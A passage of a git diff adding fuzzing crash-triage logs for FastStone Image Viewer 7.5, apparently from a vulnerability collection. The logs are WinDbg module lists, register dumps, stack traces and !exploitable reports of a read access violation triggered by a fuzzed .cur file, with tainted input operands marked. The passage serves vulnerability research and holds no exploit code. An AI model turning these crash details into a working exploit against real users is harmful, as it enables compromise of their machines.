+STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9fa3db0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x190C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x190C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(190c.3c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=0000021e ecx=07f48180 edx=000005a6 esi=1274ac40 edi=0444dfd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.485952749667203760000e+0017 st5= 8.485954467654122400000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 0804bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 0804bec0 eabbbde7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 0804bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..86b8d28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/25142/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..f286fac --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f80002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0482af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9446dad --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e80000 00000000`13f5e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(6e4.ba8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f50002 ebx=00000e1e ecx=07fd8180 edx=000005a6 esi=125ed720 edi=0d9fafd4 +eip=005bdfc9 esp=14f4f868 ebp=14f4fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.545062494776266000000e+0017 st5= 8.545064212763184640000e+0017 +st6= 2.539999999999999999970e+0000 st7= 5.347487600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f4fd10 0060d6fc 00000000 14f4fd78 14f4fd48 image00000000_00400000+0x1bdfc9 +14f4fd88 005ff93f 14f4fde8 005ffbc2 14f4fde0 image00000000_00400000+0x20d6fc +14f4fde0 0090e28b 14f4fdf4 0090e3b5 14f4fe38 image00000000_00400000+0x1ff93f +14f4fe38 0090efea 14f4fea4 14f4fea8 14f4feac image00000000_00400000+0x50e28b +14f4fec0 008d05d5 14f4fed4 008d06ab 14f4ff00 image00000000_00400000+0x50efea +14f4ff00 008d0991 14f4ff14 008d0a43 14f4ff2c image00000000_00400000+0x4d05d5 +14f4ff2c 0042c0bf 14f4ff40 0042c0c9 14f4ff5c image00000000_00400000+0x4d0991 +14f4ff5c 00404c22 14f4ffcc 0040475c 14f4ff70 image00000000_00400000+0x2c0bf +14f4ff70 7572f989 080dbec0 7572f970 14f4ffdc image00000000_00400000+0x4c22 +14f4ff80 770b7084 080dbec0 ac870940 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f4ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f4ffec 00000000 00404bf8 080dbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f50002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl 